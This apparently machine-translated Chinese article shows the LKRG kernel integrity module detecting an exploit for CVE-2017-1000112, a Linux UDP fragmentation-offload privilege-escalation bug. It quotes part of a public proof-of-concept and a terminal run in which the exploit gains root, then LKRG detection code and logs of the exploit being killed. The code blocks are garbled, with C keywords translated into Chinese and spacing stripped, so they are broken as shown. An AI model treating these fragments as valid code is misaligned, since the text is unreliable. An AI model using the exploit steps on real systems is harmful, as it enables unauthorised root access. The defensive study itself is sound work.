当前位置: 首页 > 科技观察

LKRG-Linux内核运行时安全检测实践

时间:2023-03-12 17:50:11 科技观察

一、背景从LKRG-原理之Linux内核运行时安全检测一文可以看出,LKRG可以检测正在运行的Linux内核,希望能及时响应未经授权修改凭证等作为正在运行的进程的用户ID(健全性检查)。对于进程凭据,LKRG会尝试检测漏洞并在内核基于未经授权的凭据授予访问权限(例如打开文件)之前采取措施。并以可加载内核模块的形式检测正在运行的内核的变化,这些变化表明正在使用某种类型的漏洞利用。除其他外,它可以检查系统上运行的进程是否对各种凭证进行未经授权的修改,以防止这些更改授予额外的访问权限。LKRG的上述特性主要是为了保护运行时内核本身的完整性,但利用通常针对系统上运行的进程进行提权等,这些信息都保存在内核的内存中。所以LKRG还跟踪每个进程的一堆不同属性,并维护它自己的任务列表,用于验证内核列表。如果两个进程出现分歧,受影响的进程将被终止,目的是防御利用差异的攻击。下面从具体实例的角度对LKRG进行具体分析,让大家了解LKRG在内核安全检测中能够达到的效果以及其功能所体现的价值。还再次强调,任何战略和方案都可以作为系统级纵深防御战略的一道防线,但并不是“一招胜天”的万能药。2、CVE-2017-1000112(UDP路径转换异常,导致内存损坏)内核版本:该漏洞存在于Linux4.12.6及以下版本,4.12.7内核版本修复了UFO机制——UDP碎片offload官网对此漏洞有解答,描述如下:Linux内核中UFO到Non-UFO的路径转换过程中,内存异常崩溃。在构建UFO数据包时,内核会使用MSG_MORE__ip_append_data()函数调用ip_ufo_append_data()完成路径添加。但是在两次send()调用期间,添加的路径可以从UFO路径转换为非UFO路径,这将导致内存损坏发生。为了防止UFO包长度超过MTU,非UFO路径的copy=maxfraglen-skb->len会变为false,分配新的skb。这会触发程序计算fraggap=skb_prev->len–maxfraglen的值,并设置copy=datalen–transhdrlen–fraggap为false。Linux内核UFO到非UFO路径转换时的内存崩溃问题,在构造UFO包时,内核会使用MSG_MORE__ip_append_data()函数调用ip_ufo_append_data()完成路径添加。但是在这两个send()调用的过程中,添加的路径可以从UFO路径转换为非UFO路径,会导致内存崩溃,这也是内部漏洞的本地提权漏洞Linux网络子系统。NIC(网络接口卡)卸载允许协议栈传输大于MTU(默认为1500字节)的数据包。当NIC被卸载时,内核会将多个数据包组合成一个大数据包并将其传递给硬件,硬件处理IP碎片并分割成mtu大小的数据包。此卸载通常用于高速网络接口以增加吞吐量,因为UFO可以发送大型UDP数据包。以下是Github相关PoC的流程部分截图,源码路径:https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.cints=套接字(PF_INET,SOCK_DGRAM,0);//创建UDP套接字if(s==-1){perror("[-]socket()");退出(退出失败);}结构sockaddr_in地址;memset(&addr,0,sizeof(addr));地址.sin_family=AF_INET;地址.sin_port=htons(8000);地址.sin_addr.s_addr=htonl(INADDR_LOOPBACK);if(connect(s,(void*)&addr,sizeof(addr))){perror("[-]connect()");退出(退出失败);}intsize=SHINFO_OFFSET+sizeof(structskb_shared_info);intrv=send(s,buffer,size,MSG_MORE);//使用MSG_MORE发送pocket,通知内核我们发送更多数据if(rv!=size){perror("[-]send()");退出(退出失败);}整数值=1;rv=setsockopt(s,SOL_SOCKET,SO_NO_CHECK,&val,sizeof(val));//关闭UDP校验和if(rv!=0){perror("[-]setsockopt(SO_NO_CHECK)");退出(EXIT_FAILURE);}发送(s,缓冲区,1,0);//下次发送Non-UFO数据会触发异常close(s);以上部分实验代码是为了说明在内核中构建一个UFO包,调用send/sendto/sendmsg时使用了MSG_MORE标志位,告诉内核将这个socket上的所有数据累积成一个图,当一个执行未指定此标志的调用,然后触发漏洞利用Linux内核将数据包存储在结构sk_buff(套接字缓冲区)中,所有网络层都使用此结构存储数据包的头部,用户数据的信息(payload)和其他内部信息。如上图和poc.c中所示,当使用MSG_MORE标志进行第一次发送调用时,__ip_append_data通过调用ip_ufo_append_data创建一个新的套接字缓冲区。在循环的第一次迭代中,副本的值变为负值,从而触发新的套接字缓冲区分配。另外,fraggap计算超过MTU会触发分片,会导致使用skb_copy_and_csum_bits函数将用户负载从第一次send调用创建的sk_buff复制到新分配的sk_buff中。将指定数量的字节从源缓冲区复制到目标sk_buff,并计算校验和。如果调用skb_copy_and_csum_bits的长度大于新创建的sk_buff边界结束限制,套接字缓冲区外的数据将被覆盖,紧接在sk_buff之前的skb_shared_info结构将被破坏。test@ubuntu:~/CVE-2017-1000112$gccpoc.c-opoctest@ubuntu:~/CVE-2017-1000112$iduid=1000(test)gid=1000(test)groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$./poc[.]开始[.]检查发行版和内核版本[.]检测到内核版本“4.8.0-52-generic”[~]完成,版本看起来不错[.]检查SMEP和SMAP[~]完成,看起来不错[.]设置命名空间沙箱[~]完成,命名空间沙箱设置[.]KASLR旁路启用,获取内核地址[~]完成,内核文本:ffffffff82a00000[.]commit_creds:ffffffff82aa5d00[.]prepare_kernel_cred:ffffffff82aa60f0[.]SMEP绕过启用,mmapping伪栈[~]完成,伪栈mmapped[.]执行payloadffffffff82a17c55[~]完成,现在应该是root[.]检查我们是否得到root[+]得到r00t^_^root@ubuntu:/home/test/CVE-2017-1000112#iduid=0(root)gid=0(root)groups=0(root)context=system_u:system_r:kernel_t:s0root@ubuntu:/home/test/CVE-2017-1000112#exitexittest@ubuntu:~/CVE-2017-1000112$以上结果表明执行成功,即exploit成功了,出现这种问题核心是重写cred/read_cred结构根据上述漏洞利用的特点,可以利用LKRG的pCFI检测相关数据的完整性和覆盖cred/read_cred结构的功能,检测对SEMP、SMAP、KALSR等的修改,实现防御针对此类问题。以下是部分检测代码,全部代码在:https://github.com/lkrg-org/lkrg/tree/main/src/modules/exploit_detection/syscalls/pCFIandp_exploit_detection.c//createcredsHookstaticconststructp_functions_hooks{constchar*name;int(*install)(intp_isra);无效(*卸载)(无效);intp_fatal;常量字符*p_error_message;intis_isra_safe;}p_functions_hooks_array[]={{"security_bprm_committing_creds",p_install_security_bprm_committing_creds_hook,p_uninstall_security_bprm_committing_creds_hook,1,NULL,1-...//转储信用并比较结果notracevoidp_dump_creds(structp_cred*pstruct_where){/*获取对cred的引用*/get_cred(p_from);/*跟踪进程的能力*/memcpy(&p_where->cap_inheritable,&p_from->cap_inheritable,sizeof(kernel_cap_t));memcpy(&p_where->cap_permitted,&p_from->cap_permitted,sizeof(kernel_cap_t));memcpy(&p_where->cap_effective,&p_from->cap_effective,sizeof(kernel_cap_t));memcpy(&p_where->cap_bset,&p_from->cap_bset,sizeof(kernel_cap_t));#ifLINUX_VERSION_CODE>=KERNEL_VERSION(4,3,0)memcpy(&p_where->cap_ambient,&p_from->cap_ambient,sizeof(kernel_cap_t));#endif/*跟踪进程的ID*/p_set_uid(&p_where->uid,p_get_uid(&p_from->uid));p_set_gid(&p_where->gid,p_get_gid(&p_from->gid));p_set_uid(&p_where->suid,p_get_uid(&p_from->suid));p_set_gid(&p_where->sgid,p_get_gid(&p_from->sgid));p_set_uid(&p_where->euid,p_get_uid(&p_from->euid));p_set_gid(&p_where->egid,p_get_gid(&p_from->egid));p_set_uid(&p_where->fsuid,p_get_uid(&p_from->fsuid));p_set_gid(&p_where->fsgid,p_get_gid(&p_from->fsgid));/*跟踪进程的securebits-TODO:研究*/p_where->securebits=p_from->securebits;/*跟踪进程的关键指针*/p_where->user=p_from->user;p_where->user_ns=p_from->user_ns;/*Releasereferencetocred*/put_cred(p_from);}},/在这个版本的内核中加载LKRG后,再次执行PoC,可以看到exploit已经被检测到并被拦截,从中可以清楚的看到内核日志“检测到指针交换攻击!进程[2399|poc]具有不同的‘cred’指针[0xffff8d1bab32ed80vs0xffff8d1bb1a50180]”:test@ubuntu:~/CVE-2017-1000112$iduid=1000(test)gid=1000(测试)组=1000(测试)、4(adm)、24(cdrom)、27(sudo)、30(dip)、46(plugdev)、110(lxd)、115(lpadmin)、116(sambashare)上下文=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$./poc[.]starting[.]检查发行版和内核版本[.]检测到内核版本“4.8.0-52-generic”[~]完成,版本看起来不错[.]检查SMEP和SMAP[~]完成,看起来不错[.]设置命名空间沙箱[~]完成,命名空间沙箱设置[.]KAS启用LR旁路,获取内核地址[~]完成,内核文本:ffffffff82a00000[.]commit_creds:ffffffff82aa5d00[.]prepare_kernel_cred:ffffffff82aa60f0[.]启用SMEP旁路,mmappingfakestack[~]done,fakestackmmapped[.]executingpayloadffffffff82a17c55[~]完成,现在应该是root[.]检查我们是否有rootKilledtest@ubuntu:~/CVE-2017-1000112$iduid=1000(test)gid=1000(test)groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$ubuntukernel:[228.864932][p_lkrg]LoadingLKRG...ubuntukernel:[229.159677][p_lkrg]LKRGinitializedsuccessfully!ubuntukernel:[235.372066][p_lkrg]检测到指针交换攻击!进程[2399|poc]具有不同的'cred'指针[0xffff8d1bab32ed80vs0xffff8d1bb1a50180]ubuntu内核:[235.372104][p_lkrg]检测到的指针交换攻击!进程[2399|poc]有不同的'real_cred'指针[0xffff8d1bab32ed80vs0xffff8d1bb1a50180]ubuntu内核:[235.372137][p_lkrg]process[2399|poc]有不同的UID!1000vs0ubuntu内核:[235.372155][p_lkrg]process[2399|poc]有不同的EUID!1000vs0ubuntu内核:[235.372174][p_lkrg]process[2399|poc]有不同的SUID!1000vs0ubuntu内核:[235.372192][p_lkrg]process[2399|poc]有不同的FSUID!1000vs0ubuntu内核:[235.372210][p_lkrg]process[2399|poc]有不同的GID!1000vs0ubuntu内核:[235.372228][p_lkrg]process[2399|poc]有不同的EGID!1000vs0ubuntu内核:[235.372247][p_lkrg]process[2399|poc]有不同的SGID!1000vs0ubuntu内核:[235.372265][p_lkrg]处理[2399|poc]有不同的FSGID!1000vs0ubuntu内核:[235.372284][p_lkrg]试图终止进程[poc|2399】!3.结论从上面的例子可以看出,LKRG是非法的在提权中覆盖cred/read_cred结构对检测和拦截漏洞起到了关键作用。当然,在上一篇文章中提到,可以使用一些方法来绕过LKRG,但是复杂度和难度会变得很大。这就是为什么一直强调任何策略和计划都可以作为防线中的一道防线系统级的纵深防御策略,但并不是“一招胜天”的万能药,只有构建多层次的防御矩阵,多角度分析安全问题才能取得更好的效果.作者简介:许庆伟:龙蜥社区eBPF技术探索SIG组Maintainer&LinuxKernelSecurityResearcher